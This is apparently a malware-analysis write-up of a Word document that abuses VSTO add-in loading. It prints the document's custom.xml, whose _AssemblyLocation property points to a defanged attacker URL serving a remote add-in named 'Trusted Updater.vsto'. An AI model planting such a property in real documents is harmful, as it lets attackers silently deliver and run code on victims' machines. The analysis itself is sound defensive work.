Finding the next stage in a Word Document abusing VSTO functionality

Upon downloading the file and running the oleid we find it is a MS-Word document but without any macros or further interesting information. Out of curiosity, since the file format is internally just an archive, I extracted it on my filesystem and got the following directory structure:

.
├── [Content_Types].xml
├── customXml
│   ├── item1.xml
│   ├── itemProps1.xml
│   └── _rels
│       └── item1.xml.rels
├── docProps
│   ├── app.xml
│   ├── core.xml
│   └── custom.xml
├── _rels
├── vstoDataStore
│   ├── item2.xml
│   ├── itemProps2.xml
│   └── _rels
│       └── item2.xml.rels
└── word
    ├── document.xml
    ├── fontTable.xml
    ├── media
    │   └── image1.png
    ├── _rels
    │   └── document.xml.rels
    ├── settings.xml
    ├── styles.xml
    ├── theme
    │   └── theme1.xml
    └── webSettings.xml

11 directories, 18 files

Looking around a little I navigated to ./docProps/custom.xml and inspected its contents:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties 
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties" 
    xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
    <property 
        fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" 
        pid="2" 
        name="_AssemblyLocation"
    >
        <vt:lpwstr>
             https[:]//login03k[.]com/update/Trusted Updater.vsto|a8ed4033-4074-4eb7-9c6a-93bbb8a3776c
        </vt:lpwstr>
    </property>
    <property 
        fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}" 
        pid="3" 
        name="_AssemblyName"
    >
        <vt:lpwstr>4E3C66D5-58D4-491E-A7D4-64AF99AF6E8B</vt:lpwstr>
    </property>
</Properties>

As we can see this appears to be a part of microsofts builtin feature for automatically downloading and installing VSTO Addins, as we can see the VSTO Addin is pulled from the following URL:
https[:]//login03k[.]com/update/Trusted Updater.vsto ( Note its defanged with [:] and [.])

Attempting to download the next stage manually we find out that the domain is no longer up. :(